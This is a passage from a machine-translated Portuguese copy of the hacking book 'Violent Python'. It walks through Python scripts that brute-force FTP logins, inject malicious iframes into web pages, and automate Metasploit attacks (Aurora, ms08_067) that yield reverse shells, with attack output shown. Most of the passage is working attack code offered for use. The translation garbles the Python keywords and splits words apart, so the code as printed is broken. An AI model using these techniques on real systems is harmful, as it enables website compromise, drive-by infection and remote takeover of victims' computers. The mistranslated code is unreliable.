ers injetado javascript para redirecionar páginas benignas a um domínio malicioso na
Ucrânia. Uma vez que o servidor infectado redirecionado as vítimas, o Ukrai­ malicioso
acolhimento nian explorado vítimas, a fim de instalar um programa antivírus falso que
roubou informações de cartão de crédito dos clientes. O ataque k985ytv provou ser
um sucesso retumbante. Na seção seguinte, vamos recriar este ataque em
Python.
Examinando os logs de FTP dos servidores infectados, podemos ver exatamente o que acon­
ceu. Um script automatizado conectado ao host de destino, a fim de deter­
mine se contivesse uma página padrão chamado index.htm. Em seguida, o atacante
enviou um novo index.htm, presumivelmente contendo a redirec­ malicioso
roteiro ção. O servidor infectado, então explorado todos os clientes vulneráveis ​
que

visitou suas páginas.

204.12.252.138 u47973886 DESCONHECIDO [14 / ago / 2011: 23: 19: 27 ­0500] "LIST /
folderthis / folderthat / "226 1862
204.12.252.138 u47973886 DESCONHECIDO [14 / ago / 2011: 23: 19: 27 ­0500] "TIPO I"
200 ­
204.12.252.138 u47973886 DESCONHECIDO [14 / ago / 2011: 23: 19: 27 ­0500] "PASV"
227 ­
204.12.252.138 u47973886 DESCONHECIDO [14 / ago / 2011: 23: 19: 27 ­0500] "TAMANHO
index.htm "213 ­
204.12.252.138 u47973886 DESCONHECIDO [14 / ago / 2011: 23: 19: 27 ­0500] "RETR
index.htm "226 2573
204.12.252.138 u47973886 DESCONHECIDO [14 / ago / 2011: 23: 19: 27 ­0500] "TIPO I"
200 ­
204.12.252.138 u47973886 DESCONHECIDO [14 / ago / 2011: 23: 19: 27 ­0500] "PASV"
227 ­
204.12.252.138 u47973886 DESCONHECIDO [14 / ago / 2011: 23: 19: 27 ­0500] "STOR
index.htm "226 3018

A fim de melhor compreender o vector inicial deste ataque, vamos brevemente y talk
sobre as características de FTP. O File Transfer Protocol (FTP) serviço permite
usuários transferir fi les entre os anfitriões em uma rede baseada em TCP. Normalmente, os usuários
autenticar a servidores FTP usando uma combinação de um nome de usuário e senha.
No entanto, alguns sites oferecem a capacidade de autenticar de forma anónima. Nisso
cenário, um usuário insere o nome de usuário "anonymous" e envia um e­mail
abordar, em vez de uma senha.

Compromisso de massa por Bridging FTP e Web 57

Construindo um Scanner Anonymous FTP com Python
Considerando as implicações de segurança, parece insana que sites que oferecem
acesso anônimo FTP. No entanto, muitos sites surpreendentemente fornecer rea­ legítima
filhos para este tipo de acesso FTP, como a promoção da ideia de que isto permite uma
mais meios de acesso a atualizações de software avançado. Podemos utilizar o ftplib
biblioteca em Python, a fim de construir um pequeno script para determinar se um servidor ofertas
logins anônimos. A função anonLogin () recebe um nome de host e retorna um
Booleano que descreve a disponibilidade de logins anônimos. A fim de deter­
mine esse booleana, a função tenta criar uma conexão FTP com anon­
credenciais ymous. Se for bem sucedido, ele retorna o valor "True". Se, no processo de
criar uma conexão, a função lança uma exceção que retorna como "False".
ftplib importação
def anonLogin (hostname):
experimentar:
ftp = ftplib.FTP (hostname)
ftp.login ( 'anonymous', 'me@your.com')
print '\ n [*]' + str (hostname) + \
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 43/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
'FTP Anonymous Logon bem­sucedido. "

ftp.quit ()
retornar True
salvo exceção, e:
print '\ n [­]' + str (hostname) + \
'FTP Anonymous Falha de logon. "
retornar False
host = '192.168.95.179'
anonLogin (host)

Executando o código, vemos um alvo vulnerável com FTP anônimo habilitado.
atacante # python anonLogin.py
[*] 192.168.95.179 FTP Anonymous Logon Sucedido.

Usando ftplib para Brute Force FTP credenciais do usuário
Embora as subvenções de acesso anónimo uma maneira de entrar em sistemas, os atacantes também
têm sido bastante bem sucedido com o uso de credenciais roubadas para ter acesso a legiti­
acasalar servidores FTP. Os programas cliente FTP, como FileZilla, muitas vezes armazenar senhas
em texto simples con fi guração fi les (Huang, 2011). Armazenar senhas em texto puro no
um local padrão permite que o malware personalizado para roubar rapidamente credenciais. Segurança
os peritos encontraram FTP roubar credenciais como malware recente. Além disso,
HD Moore ainda incluiu o script fi lezilla_creds.rb get_ em uma recente Metasploit

58 CAPÍTULO 2: Os testes de penetração com o Python

liberação permitindo aos utilizadores digitalizar rapidamente as credenciais de FTP depois de explorar um alvo
obter. Imagine um texto fi le de uma combinação de nome de usuário / senha que queríamos
força bruta completamente. Para o propósito deste roteiro, imagine o nome de usuário /­passe
combinações de palavras armazenadas em um fl no texto fi le.

administrador: password
admin: 12345
root: segredo
hóspedes: Convidado
root: toor

agora podemos expandir nossa função no início anonLogin () para construir um chamado
bruteLogin (). Esta função irá tomar um anfitrião e senha fi le como entrada e
retornar as credenciais que permitem o acesso ao host. Observe as itera função
através de cada linha da fi l, dividindo cada linha no cólon. A função, em seguida,
leva o nome de usuário e senha e tenta fazer login no servidor FTP. Se isso
bem­sucedido, ele retorna uma tupla de um nome de usuário, senha. Se ele falhar, ele passa por
a exceção e continua para a próxima linha. Se a função de esgotadas todas as linhas
e não conseguiu iniciar sessão com êxito, ele retorna uma tupla de Nada, Nada.

ftplib importação
def bruteLogin (hostname, passwdFile):
pF = open (passwdFile, 'r')
para a linha em pF.readlines ():
username = line.split ( ':') [0]
password = line.split ( ':') [1] .strip ( '\ r') tira ( '\ n').
print "[+] Tentando:" + userName + "/" + senha
experimentar:
ftp = ftplib.FTP (hostname)
ftp.login (username, password)
print '\ n [*]' + str (hostname) + \
'FTP Logon Sucedido:' + username + "/" + senha
ftp.quit ()
retorno (username, password)
salvo exceção, e:
passar
print '\ n [­]. Não foi possível bruta credenciais vigor FTP'
retorno (Nada, Nada)
host = '192.168.95.179'
passwdFile = 'userpass.txt'
bruteLogin (host, passwdFile)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 44/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

Compromisso de massa por Bridging FTP e Web 59

Iteração através da lista de combinações de usuário / senha, nós finalmente fi nd o
hóspedes conta com as obras de hóspedes senha.
atacante # python bruteLogin.py
[+] Tentando: administrador / password
[+] Tentando: admin / 12345
[+] Tentando: root / secret
[+] Tentando: guest / guest
[*] 192.168.95.179 FTP Logon Sucedido: guest / guest

Procura de Páginas da Web no servidor FTP
Com credenciais no servidor FTP, agora temos de testar se o servidor também fornece
acesso à web. Para testar isso, vamos primeiro listar o conteúdo do servidor FTP da
diretório e busca de páginas da web padrão. O returnDefault function () leva
uma conexão FTP como entrada e retorna um conjunto de páginas padrão que fi NDS.
Ele faz isso emitindo o comando NLST, que lista o conteúdo do diretório.
A função verifica cada fi le retornados por NLST contra a página da web padrão fi le
nomes. Ele também acrescenta quaisquer páginas padrão descoberto para um array chamado retList.
Depois de completar a iteração destes fi les, a função retorna essa matriz.

ftplib importação
def returnDefault (ftp):
experimentar:
DIRlist ftp.nlst = ()
exceto:
DIRlist = []
print '[­] Não foi possível listar o conteúdo do diretório. "
print '[­] Saltar para próximo alvo. "
Retorna
retList = []
para fileName em DIRlist:
fn = fileName.lower ()
se '.php' em fn ou ".htm 'em fn ou' .asp 'em fn:
print 'Encontrado [+] página padrão:' + fileName
retList.append (nome do arquivo)
voltar retList
host = '192.168.95.179'
username = 'guest'
password = 'guest'
ftp = ftplib.FTP (host)

60 CAPÍTULO 2: Os testes de penetração com o Python

ftp.login (username, password)
returnDefault (ftp)

Olhando para o servidor FTP vulnerável, vemos que tem três páginas na base
diretório. Ótimo! Saberemos passar para infectar estas páginas com o nosso cliente
vector ataque pelo lado.

atacante defaultPages.py # python
Encontrado [+] página padrão: index.html
Encontrado [+] página padrão: index.php
[+] Encontrado página padrão: testmysql.php

Adicionando um suspeito Inject para páginas da Web
Agora que temos a página web fi les, temos de infectá­los com um malicioso
redirecionar. Nós vamos usar o framework Metasploit, a fim de criar rapidamente uma
servidor malicioso e página hospedada no http://10.10.10.112:8080/exploit. Aviso
Nós escolhemos o ms10_002_aurora exploram, o mesmo exploit utilizado durante
Operação Aurora contra o Google. A página em 10.10.10.112:8080/exploit vai
exploram as vítimas redirecionadas, que irá fornecer uma chamada de volta ao nosso comando e
servidor de controle.

atacante # msfcli Exploit / janelas / navegador / ms10_002_aurora
LHOST = 10.10.10.112 SRVHOST = 10.10.10.112 URIPATH = / explorar
PAYLOAD = windows / shell / reverse_tcp LHOST = 10.10.10.112 LPORT = 443 E
[*] Aguarde enquanto carregar a árvore módulo ...

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 45/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
<... Cortou ...>
LHOST => 10.10.10.112
SRVHOST => 10.10.10.112
URIPATH => / explorar
PAYLOAD => windows / shell / reverse_tcp
LHOST => 10.10.10.112
LPORT => 443
[*] Exploit rodando como trabalho em segundo plano.
[*] Iniciado manipulador reversa em 10.10.10.112:443
[*] Usando URL: http: //10.10.10.112: 8080 / explorar
[*] Server iniciado.
MSF exploit (ms10_002_aurora)>

Qualquer cliente vulnerável que se conecta ao nosso servidor na http://10.10.10.112:8080/
explorarvai agora cair presa ao nosso explorar. Se ele for bem sucedido, ele irá criar um reverso
shell TCP e concede­nos o acesso ao prompt de comando do Windows no

Compromisso de massa por Bridging FTP e Web 61

cliente infectado. A partir do shell de comando, podemos agora executar comandos como
o administrador da vítima infectada.
MSF exploit (ms10_002_aurora)> [*] Enviando Internet Explorer "Aurora"
Corrupção de memória para o cliente 10.10.10.107
[*] Enviando fase (240 bytes) para 10.10.10.107
[*] Shell de comandos sessão 1 aberta (10.10.10.112:443 ­>
10.10.10.107:49181) em 2012­06­24 10:05:10 ­0600
MSF exploit (ms10_002_aurora)> sessões ­i 1
[*] A partir interacção com 1 ...
Microsoft Windows XP [Versão 5.1.2600]
(C) Copyright 1985­2001 Microsoft Corp.
C: \ Documents and Settings \ Administrador \ Desktop>

Em seguida, é preciso acrescentar um redirecionamento dos servidores infectados benignos para o nosso mali­
cious explorar servidor. Para fazer isso, eu posso carregar as páginas padrão encontrado na
o servidor benigna, injetar um iframe, e carregar as páginas maliciosas de volta para
o servidor benigna. Olhe para o injectPage (). O injectPage function () leva uma
conexão de FTP, um nome de página, e uma corda iframe redirecionamento como a entrada. Isso então
descarrega uma cópia temporária da página. Em seguida, ele acrescenta o redirecionamento iframe
para o nosso servidor malicioso para que fi temporária le. Finalmente, a função carrega o
verso infectado para o servidor benigna.

ftplib importação
def injectPage (ftp, página, redirecionar):
f = open (Página + 'tmp', 'w')
ftp.retrlines (Página + 'RETR', f.write)
print '[+] Downloaded Página:' + página
f.write (redirecionamento)
f.close ()
print '[+] injetado IFrame suspeito em:' página +
ftp.storlines ( 'STOR' + página, aberta 'tmp' (página +))
print 'Carregado [+] injetado Página:' + página
host = '192.168.95.179'
username = 'guest'
password = 'guest'
ftp = ftplib.FTP (host)
ftp.login (username, password)
redirecionar = '<iframe src =' + \
"Http://10.10.10.112:8080/exploit"> </ iframe> '
injectPage (ftp, 'index.html', redirecionar)

62 CAPÍTULO 2: Os testes de penetração com o Python

Correndo o nosso código, nós vê­lo baixar a página index.html e injetá­lo com
nosso conteúdo malicioso.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 46/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
atacante injectPage.py # python
[+] Página Transferido: index.html
[+] Injetado IFrame suspeito em: index.html
[+] Carregado Página injetado: index.html

Trazendo o ataque inteiro Juntos
Vamos encerrar todo o nosso ataque na função de ataque (). O ataque () função
ção leva um nome de usuário, senha, nome do host e redirecionar localização como entrada. o
função fi registros primeiros para o servidor de FTP com as credenciais. Em seguida, temos a
Pesquisa roteiro de páginas da web padrão. Para cada uma destas páginas, o script down­
carrega uma cópia e adiciona um redirecionamento malicioso. O script, em seguida, carrega o
página infectada volta para o servidor FTP, que irá infectar quaisquer futuras vítimas
que visite esse servidor web.
ataque def (nome de usuário, senha, tgtHost, redirecionar):
ftp = ftplib.FTP (tgtHost)
ftp.login (username, password)
defPages = returnDefault (ftp)
para defPage em defPages:
injectPage (ftp, defPage, redirecionar)
Adicionando um pouco de análise opção, nós encerrar todo o script. Você vai notar que primeiro
tentar obter acesso anônimo para o servidor FTP. Se isto falhar, nós força bruta, em seguida,
credenciais e executar o nosso ataque contra as credenciais descobertos. enquanto esta
representa apenas uma centena de linhas de código, este ataque replica totalmente o original
vetor de ataque da infecção k985ytv.
ftplib importação
optparse importação
tempo de importação
def anonLogin (hostname):
experimentar:
ftp = ftplib.FTP (hostname)
ftp.login ( 'anonymous', 'me@your.com')
print '\ n [*]' + str (hostname) \
+ 'FTP Anonymous Logon bem­sucedido. "

ftp.quit ()
retornar True

Compromisso de massa por Bridging FTP e Web 63

salvo exceção, e:
print '\ n [­]' + str (hostname) + \
'FTP Anonymous Falha de logon. "
retornar False
def bruteLogin (hostname, passwdFile):
pF = open (passwdFile, 'r')
para a linha em pF.readlines ():
time.sleep (1)
username = line.split ( ':') [0]
password = line.split ( ':') [1] .strip ( '\ r') tira ( '\ n').
print '[+] Tentando:' + username + '/' + senha
experimentar:
ftp = ftplib.FTP (hostname)
ftp.login (username, password)
print '\ n [*]' + str (hostname) + \
'FTP Logon Sucedido:' + username + '/' + senha
ftp.quit ()
retorno (username, password)
salvo exceção, e:
passar
print '\ n [­]. Não foi possível bruta credenciais vigor FTP'
retorno (Nada, Nada)
def returnDefault (ftp):
experimentar:
DIRlist ftp.nlst = ()
exceto:
DIRlist = []
print '[­] Não foi possível listar o conteúdo do diretório. "
print '[­] Saltar para próximo alvo. "
Retorna
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 47/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

retList = []
para fileName em DIRlist:
fn = fileName.lower ()
se '.php' em fn ou ".htm 'em fn ou' .asp 'em fn:
print 'Encontrado [+] página padrão:' + fileName
retList.append (nome do arquivo)
voltar retList
def injectPage (ftp, página, redirecionar):

64 CAPÍTULO 2: Os testes de penetração com o Python

f = open (Página + 'tmp', 'w')
ftp.retrlines (Página + 'RETR', f.write)
print '[+] Downloaded Página:' + página
f.write (redirecionamento)
f.close ()
print '[+] injetado IFrame suspeito em:' página +
ftp.storlines ( 'STOR' + página, aberta 'tmp' (página +))
print 'Carregado [+] injetado Página:' + página
ataque def (nome de usuário, senha, tgtHost, redirecionar):
ftp = ftplib.FTP (tgtHost)
ftp.login (username, password)
defPages = returnDefault (ftp)
para defPage em defPages:
injectPage (ftp, defPage, redirecionar)
def main ():
parser = optparse.OptionParser ( 'uso% prog' + \
'­H <Host­alvo [s]> ­r <página de redirecionamento>' + \
'[­f <UserPass file>]')
parser.add_option ( '­ H', dest = 'tgtHosts', \
type = 'string', help = 'especificar host de destino')
parser.add_option ( '­ f', dest = 'passwdFile', \
type = 'string', help = 'especificar arquivo de user / password')
parser.add_option ( '­ r', dest = "redirect ', \
type = 'string', help = 'especificar uma página de redirecionamento')
(Opções, args) = parser.parse_args ()
tgtHosts = str (options.tgtHosts) .Split ( ',')
passwdFile = options.passwdFile
redirect = options.redirect
se tgtHosts == Nenhum ou redirecionar == None:
parser.usage de impressão
exit (0)
para tgtHost em tgtHosts:
username = None
password = None
se anonLogin (tgtHost) == True:
username = 'anonymous'
password = 'me@your.com'
print '[+] utilizando anônimo Creds para atacar'

Compromisso de massa por Bridging FTP e Web 65

ataque (nome de usuário, senha, tgtHost, redirecionar)
elif passwdFile! = None:
(Username, password) = \
bruteLogin (tgtHost, passwdFile)
se a senha! = None:
print '[+] Usando Creds:' + \
username + '/' + senha + 'ao ataque'
ataque (nome de usuário, senha, tgtHost, redirecionar)
se __name__ == '__main__':

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 48/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
a Principal()

Correndo o nosso script em um servidor FTP vulnerável, vemos tentativa bruta
logon anônimo e falhar, enumerar os hóspedes senha / convidado, e, em seguida,
baixar e injetar cada página na pasta de base.

atacante # python massCompromise.py ­H 192.168.95.179 ­r '<iframe src = "
http://10.10.10.112:8080/exploit "> </ iframe> '­f userpass.txt
[­] 192.168.95.179 FTP Anonymous Falha de logon.
[+] Tentando: administrador / password
[+] Tentando: admin / 12345
[+] Tentando: root / secret
[+] Tentando: guest / guest
[*] 192.168.95.179 FTP Logon Sucedido: guest / guest
Encontrado [+] página padrão: index.html
Encontrado [+] página padrão: index.php
[+] Encontrado página padrão: testmysql.php
[+] Página Transferido: index.html
[+] Injetado IFrame suspeito em: index.html
[+] Carregado Página injetado: index.html
[+] Downloaded Página: index.php
[+] Injetado IFrame suspeito em: index.php
[+] Carregado Página injetado: index.php
[+] Downloaded Página: testmysql.php
[+] Injetado IFrame suspeito em: testmysql.php
[+] Carregado Página injetado: testmysql.php

Nós garantir o nosso vector cliente ataque pelo lado está em execução e esperar por uma vítima para con­
necte o servidor web agora infectado. Pouco tempo suficiente, 10.10.10.107 visita o web­
servidor e como redireccionado para o nosso ataque pelo lado cliente. Sucesso! Ficamos com um comando
Escudo em uma vítima cliente por infectar o servidor web por meio do servidor de FTP.

66 CAPÍTULO 2: Os testes de penetração com o Python

atacante # msfcli Exploit / janelas / navegador / ms10_002_aurora
LHOST = 10.10.10.112 SRVHOST = 10.10.10.112 URIPATH = / explorar
PAYLOAD = windows / shell / reverse_tcp LHOST = 10.10.10.112 LPORT = 443 E
[*] Aguarde enquanto carregar a árvore módulo ...
<... Cortou ...>

[*] Exploit rodando como trabalho em segundo plano.
[*] Iniciado manipulador reversa em 10.10.10.112:443
[*] Usando URL: http: //10.10.10.112: 8080 / explorar
[*] Server iniciado.
MSF exploit (ms10_002_aurora)>
[*] Enviando Internet Explorer "Aurora" de corrupção de memória para o cliente
10.10.10.107
[*] Enviando fase (240 bytes) para 10.10.10.107
[*] Shell de comandos sessão 1 aberta (10.10.10.112:443 ­>
10.10.10.107:65507) em 2012­06­24 10:02:00 ­0600
MSF exploit (ms10_002_aurora)> sessões ­i 1
[*] A partir interacção com 1 ...
Microsoft Windows XP [Versão 5.1.2600]
(C) Copyright 1985­2001 Microsoft Corp.
C: \ Documents and Settings \ Administrador \ Desktop>

Embora os criminosos por trás de propagação falso antivírus usado o k985ytv
ataque como um dos muitos vectores de aproximação, km985ytv fez sucesso compro­
mise 2.220 dos 11.000 domínios infectados suspeitos. No geral, antivírus falso
capturou os cartões de crédito de mais de 43 milhões de pessoas até 2009 e continua a
crescer. Nada mal para uma centena de linhas de código Python. Na próxima seção, nós reco­
reate um ataque que comprometeu mais de 5 milhões postos de trabalho em 200 países.

Conficker, PORQUE tentando difícil é sempre bom
O SUFICIENTE
No final de novembro de 2008, peritos em segurança informática acordou para um interessante
ing e verme mudar o jogo. O cker Con fi ou W32DownandUp Worm
se espalhou tão rapidamente que fi infectadas cinco milhões de computadores em mais de 200
países (Markoff, 2009). Embora alguns dos métodos avançados (digital
assinaturas, payloads encriptados, e esquemas de propagação alternativos) auxiliados
no ataque, Con fi cker no seu coração, tem algumas semelhanças no ataque
vetores para o Morris Worm de 1988 (Nahorney, 2009). No seguinte

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 49/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
páginas, vamos recriar os vetores de ataque primárias para Con fi cker.
Na sua rotina de infecção base, Con fi cker utilizados dois vetores de ataque separadas.

Conficker, por isso que tentar duro é sempre Good Enough 67

DAS TRINCHEIRAS
Ataques de senha
Em seu ataque, Con fi cker utilizou uma lista de senhas de mais de 250 senhas comuns. o Morris
Worm usou uma lista de senhas de 432 senhas. Estes dois ataques muito bem sucedidos compartilham 11 com­
senhas comuns na lista. Ao construir sua lista de ataque, é de fi nitivamente vale inclusive estes
senhas onze.

aaa
academia
qualquer coisa
café
computador
bolacha
oráculo
senha
segredo
super
desconhecido

senha na onda de vários altos pro fi le ataques, os hackers lançaram lixeiras para o
Internet. Enquanto as atividades resultantes nestes tentativas de senha são, sem dúvida ilegal,
Essas senhas lixeiras provaram pesquisa interessante para os especialistas em segurança. DARPA do Cyber
Rápido Gerente de Projeto, Peiter Zatko (aka Mudge) fez uma sala inteira cheia de Exército de bronze
corar quando ele perguntou­lhes se eles construíram suas senhas usando uma combinação de dois
palavras em maiúsculas seguintes por dois carácter especial e dois numbers.Additionally, o hacker
grupo LulzSec lançou 26.000 senhas e informações pessoais sobre os usuários em um despejo em
início de junho de 2011. Em um ataque coordenado, várias dessas senhas foram reutilizados para atacar o
sites de redes sociais dos mesmos indivíduos. No entanto, o mais Proli fi c ataque foi o
libertação de mais de 1 milhão de nomes de usuários e senhas para Gawker, a notícias e fofocas blog popular.

Primeiro, ele utilizou um zero­day exploit para a vulnerabilidade serviço de servidor do Windows. Tak­
ing vantagem dessa vulnerabilidade permitiu que o worm para causar uma corrupção de pilha
que executou shellcode e baixado uma cópia do mesmo ao hospedeiro infectado. Quando
este método de ataque falhou, Con fi cker tentou ganhar acesso a uma vítima,
força bruta credenciais para o compartilhamento padrão rede administrativa (ADMIN $).

Atacar o serviço do Windows SMB com Metasploit
Para simplificar o nosso ataque, vamos utilizar o Metasploit Framework, disponível para
baixar em: . http://metasploit.com/download/ O com­ código aberto
projeto de segurança informática, Metasploit, subiu para a popularidade rápida para se tornar o
kit de ferramentas de exploração facto de ao longo dos últimos oito anos. Defendido e desen­
nidas pelo lendário explorar escritor, HD Moore, do Metasploit permite a penetração
testadores para lançar milhares de diferentes exploits de computador a partir de um padrão­
ized e meio ambiente programável. Pouco depois do lançamento da vulnerabilidade

68 CAPÍTULO 2: Os testes de penetração com o Python

incluída no verme Con fi cker, HD Moore integrou um trabalho explorar em
quadro­ms08­067_netapi.
Embora os ataques podem ser accionados de forma interactiva utilizando Metasploit, que também tem a
capacidade de ler em um lote de recursos fi le. processos sequencialmente Metasploit
os comandos para o lote fi le, a fim de executar um ataque. Considere, por
exemplo, se queremos atacar um alvo em nosso anfitrião vítima 192.168.13.37 usando
o ms08_067_netapi (Con fi cker) explorar a fim de entregar uma concha de volta ao nosso
hospedar em 192.168.77.77 na porta TCP 7777.
utilização explorar / windows / SMB / ms08_067_netapi
definir RHOST 192.168.1.37
janelas set PAYLOAD / meterpreter / reverse_tcp
definir LHOST 192.168.77.77
definir LPORT 7777
explorar ­j ­z
Para utilizar o ataque do Metasploit, que primeiro escolhemos o nosso exploit (exploração / windows /

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 50/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
SMB / ms08_067_netapi) e, em seguida, definir o destino para 192.168.1.37. Segue
seleção de alvos, foi indicada a carga útil como janelas / meterpreter / reverse_tcp
e selecionou uma conexão reversa ao nosso anfitrião 192.168.77.77 na porta 7777.
Por fim, disse Metasploit para explorar o sistema. Salvando a con fi guração fi le
ao fi lename con fi cker.rc, podemos agora lançar o nosso ataque, emitindo o com­
mand msfconsole ­r con fi cker.rc. Este comando irá dizer Metasploit para lançar
com a con fi cker.rc con fi guração fi le. Quando bem sucedido, nosso ataque retorna um
Janelas de comando shell para controlar a máquina.
atacante $ msfconsole ­r conficker.rc
[*] Exploit rodando como trabalho em segundo plano.
[*] Iniciado manipulador reversa em 192.168.77.77:7777
[*] Detectar automaticamente o alvo ...
[*] Fingerprint: Windows XP ­ Service Pack 2 ­ lang: Inglês
[*] Alvo selecionado: Windows XP SP2 Inglês (AlwaysOn NX)
[*] A tentativa de desencadear a vulnerabilidade ...
[*] Enviando etapa (752128 bytes) para 192.168.1.37
[*] Meterpreter sessão 1 aberta (192.168.77.77:7777 ­>
192.168.1.37:1087) a Sex 11 nov 15:35:05 ­0700 2011
MSF exploit (ms08_067_netapi)> sessões ­i 1
[*] A partir interacção com 1 ...
meterpreter> execute ­i ­f cmd.exe
Processo 2024 criado.
Canal 1 criado.
Microsoft Windows XP [Versão 5.1.2600]

Conficker, por isso que tentar duro é sempre Good Enough 69

(C) Copyright 1985­2001 Microsoft Corp.
C: \ WINDOWS \ system32>

Escrevendo Python para interagir com Metasploit
Ótimo! Nós construímos uma con fi guração fi le, exploraram uma máquina e ganhou um shell.
Repetindo esse processo para 254 hosts pode nos levar um pouco de tempo a fim
para digitar uma con fi guração fi le, mas se usarmos Python novamente, podemos gerar
um script rápido para varrer para os anfitriões que têm a porta TCP 445 aberto e, em seguida, construir uma
Metasploit fi recurso le para atacar todos os hosts vulneráveis.
Primeiro, vamos usar o módulo Nmap­Python da nossa portscanner anterior exem­
ple. Aqui, os ndTgts função fi, () leva uma entrada de potenciais hospedeiros alvo e
retorna todos os hosts que tenham a porta TCP 445 aberta. a porta TCP 445 serve como
um porto principal para o protocolo SMB. Por fi ltragem somente os hosts que tenham um
a porta TCP 445 aberta, nosso script de ataque pode agora alvo aqueles única válidos. este
eliminará anfitriões que normalmente bloqueiam a nossa tentativa de conexão. o
itera função através de todos os hosts na varredura. Se a função fi nds um host
com uma aberto TCP, ele acrescenta que o anfitrião a uma matriz. Depois de completar a iterações
ção, a função retorna essa matriz, que contém todos os hosts com a porta TCP
445 aberto.

nmap importação
findTgts def (sub­rede):
nmScan nmap.PortScanner = ()
nmScan.scan (sub­rede, '445')
tgtHosts = []
para o anfitrião em nmScan.all_hosts ():
se nmScan .has_tcp [host] (445):
state = nmScan [host] [ 'tcp'] [445] [ 'state']
se o estado == 'open':
print '[+] Encontrado alvo Anfitrião:' + acolhimento
tgtHosts.append (host)
voltar tgtHosts

Em seguida, vamos configurar um ouvinte para os nossos objectivos exploradas. Este ouvinte, ou com­
mand e canal de controle, nos permitirá interagir remotamente com o nosso alvo
obter anfitriões, uma vez que são explorados. Metasploit fornece um avançado e
carga dinâmica conhecido como o Meterpreter. Rodando em uma máquina remota,
o Metasploit Meterpreter, chama de volta para o nosso anfitrião de comando e controle e
oferece uma riqueza de funcionalidade para analisar e controlar o alvo infectado.
extensões Meterpreter fornecer a capacidade de olhar para objetos forense, assuntos

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 51/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

70 CAPÍTULO 2: Os testes de penetração com o Python

comandos, rota tráfego fi c através do hospedeiro infectado, instalar um key­logger, ou
despejar os hashes de senha.
Quando um processo Meterpreter liga de volta para o atacante para comando e
controlar um módulo chamado Metasploit a configuração multi / handler.To um multi / manu­
ouvinte Dler em nossa máquina, vamos primeiro precisa escrever as instruções para a nossa
recurso Metasploit con fi guração fi le. Observe, como podemos definir a carga útil como um
conexão reverse_tcp e indique o nosso endereço de host local e porta nós
deseja receber a ligação no. Além disso, vamos definir uma con fi mundial gura­
ção DisablePayloadHandler para indicar que todos os futuros anfitriões não precisa definir
um manipulador já que temos uma escuta.

def setupHandler (configFile, lhost, lport):
configFile.write ( «utilização explorar / multi / manipulador \ n ')
configFile.write ( 'set PAYLOAD' + \
'Windows / meterpreter / reverse_tcp \ n')
configFile.write ( 'set LPORT' + str (lport) + 'n \')
configFile.write ( 'set LHOST' + lhost + '\ n')
configFile.write ( 'explorar ­j ­z \ n')
configFile.write ( 'DisablePayloadHandler setg 1 \ n')

Finalmente, o roteiro chegou ao ponto de ser capaz de lançar exploits contra
o alvo. Esta entrada função de vontade de um Metasploit con fi guração fi le, um alvo,
eo endereço local e portas para a exploração. A função vai escrever o
em particular explorar configurações para a con fi guração fi le. Ele primeiro seleciona o particular
explorar, ms08_067_netapi, usado no ataque cker Con fi contra o alvo ou
RHOST. Além disso, ele escolhe a carga Meterpreter e o endereço local
(LHOST) e a porta (LPORT) necessário para a Meterpreter. Finalmente, ele envia um
instrução para explorar a máquina sob o contexto de um trabalho (­j) e não
interagir com o trabalho imediatamente (­z). O script requer estes especial
opções, uma vez que irão explorar vários alvos e, portanto, não pode interagir com
todas elas simultaneamente.

def confickerExploit (configFile, tgtHost, lhost, lport):
configFile.write ( «utilização explorar / windows / SMB / ms08_067_netapi \ n ')
configFile.write ( 'set RHOST' + str (tgtHost) + '\ n')
configFile.write ( 'set PAYLOAD' + \
'Windows / meterpreter / reverse_tcp \ n')
configFile.write ( 'set LPORT' + str (lport) + 'n \')
configFile.write ( 'set LHOST' + lhost + '\ n')
configFile.write ( 'explorar ­j ­z \ n')

Conficker, por isso que tentar duro é sempre Good Enough 71

Process Execution remoto Brute Force
